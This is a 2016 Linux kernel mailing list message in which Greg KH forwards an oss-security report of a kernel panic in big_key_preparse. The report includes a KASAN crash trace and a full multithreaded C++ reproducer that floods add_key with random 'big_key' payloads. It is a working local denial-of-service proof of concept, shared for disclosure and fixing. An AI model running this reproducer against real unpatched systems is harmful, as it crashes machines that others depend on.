From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1754291AbcGVVls (ORCPT ); Fri, 22 Jul 2016 17:41:48 -0400 Received: from mail.linuxfoundation.org ([140.211.169.12]:56569 "EHLO mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1754013AbcGVVlq (ORCPT ); Fri, 22 Jul 2016 17:41:46 -0400 Date: Fri, 22 Jul 2016 14:41:55 -0700 From: Greg KH To: David Howells , James Morris , "Serge E. Hallyn" , zer0mem@yahoo.com Cc: keyrings@vger.kernel.org, linux-security-module@vger.kernel.org, linux-kernel@vger.kernel.org Subject: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] Message-ID: <20160722214155.GA13726@kroah.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.6.2 (2016-07-01) Sender: linux-kernel-owner@vger.kernel.org List-ID: X-Mailing-List: linux-kernel@vger.kernel.org David, here's a bug report with reproducer that was sent to the oss-security mailing list for some unknown reason earlier today. Any ideas? thanks, greg k-h ----- Forwarded message from zer0mem@yahoo.com ----- Date: Fri, 22 Jul 2016 22:54:09 +0800 From: zer0mem@yahoo.com To: "oss-security@lists.openwall.com" Cc: "cve-assign@mitre.org" , Marco Grassi Subject: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master Hi, Following code will panic 4.7-rc6/rc7 & master However will not panic at latest stable 4.6.4 kernel apparently qemu + kasan “”” /* author : @zer0mem Qilin : v3.2 [ linux ] Reproducer : v1.0 KASAN : active KTSAN : non-active Linux Kernel version : 4.7 compile : clang++-3.8 -std=c++1y poc.cpp -lpthread -o big_key_poc issue : add_key -> "big_key" [94011.624218] kasan: CONFIG_KASAN_INLINE enabled [94011.624507] kasan: GPF could be caused by NULL-ptr deref or user memory access [94011.624930] general protection fault: 0000 [#1] SMP KASAN [94011.625234] Modules linked in: [94011.625421] CPU: 0 PID: 13245 Comm: a.out Tainted: G B 4.7.0-rc6+ #9 [94011.625837] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [94011.626363] task: ffff880013b1d580 ti: ffff8800693d8000 task.ti: ffff8800693d8000 [94011.626778] RIP: 0010:[] [] big_key_preparse+0x1a4/0x540 [94011.627262] RSP: 0018:ffff8800693dfc90 EFLAGS: 00010206 [94011.627559] RAX: dffffc0000000000 RBX: ffff8800693dfdc8 RCX: 0000000000000000 [94011.627956] RDX: 0000000000000009 RSI: 0000000000000000 RDI: 0000000000000048 [94011.628356] RBP: ffff8800693dfcc8 R08: ffffed000d27bfc2 R09: ffff8800693dfdc8 [94011.628752] R10: ffff8800693dfe0f R11: ffffed000d27bfc2 R12: 0000000000000000 [94011.629149] R13: 0000000000000f50 R14: ffff8800693dfe48 R15: ffff8800693dfdf0 [94011.629547] FS: 00007faf577fe700(0000) GS:ffff88006d200000(0000) knlGS:0000000000000000 [94011.629994] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [94011.630361] CR2: 0000000000609000 CR3: 000000006a9bd000 CR4: 00000000000006f0 [94011.630812] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [94011.631223] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [94011.631633] Stack: [94011.631755] ffff8800693dfdc8 0000000000000048 ffffffff819e6cc0 1ffff1000d27bfa5 [94011.632349] ffffffffffffffec ffff8800693dfe48 ffff88005098b400 ffff8800693dfe70 [94011.633063] ffffffff819d5a81 0000000000000004 ffff8800693dfd30 ffff8800693dfdc8 [94011.633550] Call Trace: [94011.633702] [] ? big_key_crypt+0x2a0/0x2a0 [94011.634034] [] key_create_or_update+0x361/0xa00 [94011.634389] [] ? key_type_lookup+0xe0/0xe0 [94011.634719] [] ? ___slab_alloc+0x179/0x4c0 [94011.635050] [] ? __kmalloc+0x103/0x250 [94011.635360] [] SyS_add_key+0x1f4/0x390 [94011.635671] [] ? key_get_type_from_user.constprop.8+0xe0/0xe0 [94011.636106] [] ? compat_start_thread+0x90/0x90 [94011.636457] [] entry_SYSCALL_64_fastpath+0x1e/0xa8 [94011.636823] Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb 47 02 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 48 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00 [94011.638412] RIP [] big_key_preparse+0x1a4/0x540 [94011.638775] RSP [94011.639205] ---[ end trace 0255e2496c208fbf ]--- [94011.639474] Kernel panic - not syncing: Fatal exception [94011.639855] Kernel Offset: disabled [94011.640066] ---[ end Kernel panic - not syncing: Fatal exception */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int handles[0x10] = { 0 }; char buffer[0x1000] = { 0 }; bool rand01() { return std::rand() % 2; } void shaka() { for (size_t i = 0; i < sizeof(buffer); ++i) buffer[i] = std::rand() % 0xFF; while (true) { for (size_t i = std::rand() % sizeof(buffer); i < sizeof(buffer); ++i) buffer[i] = std::rand() % 0xFF; sleep(std::rand() % 10); } } void workers(int fd) { size_t max_round = 40 + std::rand() % 200; for (size_t i = 0; i < max_round; i++) { switch(std::rand() % 1) { case 0 : { add_key( rand01() ? "user" : "big_key", 0, buffer, std::rand() % sizeof(buffer), handles[std::rand() % 0x10]); } break; default: break; } } } void ctors(int ind) { handles[ind] = 0; while (!handles[ind]) { switch(std::rand() % 1) { case 0 : { handles[ind] = add_key( rand01() ? "user" : "big_key", 0, buffer, std::rand() % sizeof(buffer), handles[std::rand() % 0x10]); } break; default: break; } } int fd = handles[ind]; for (size_t i = 0; i < 20; ++i, sleep(1 + std::rand() % 4)) for (size_t j = std::rand() % 4; j; --j) workers(fd); } int main() { std::thread(shaka).detach(); for (;; sleep(std::rand() % 4)) std::thread([]() { for (size_t i = 0; i < 0x10; ++i) std::thread(ctors, i).detach(); }).detach(); return 0; }; #include #define __weak __attribute__((weak)) key_serial_t __weak add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) { return syscall(__NR_add_key, type, description, payload, plen, ringid); } “”” Peter Sent from Mail for Windows 10 ----- End forwarded message -----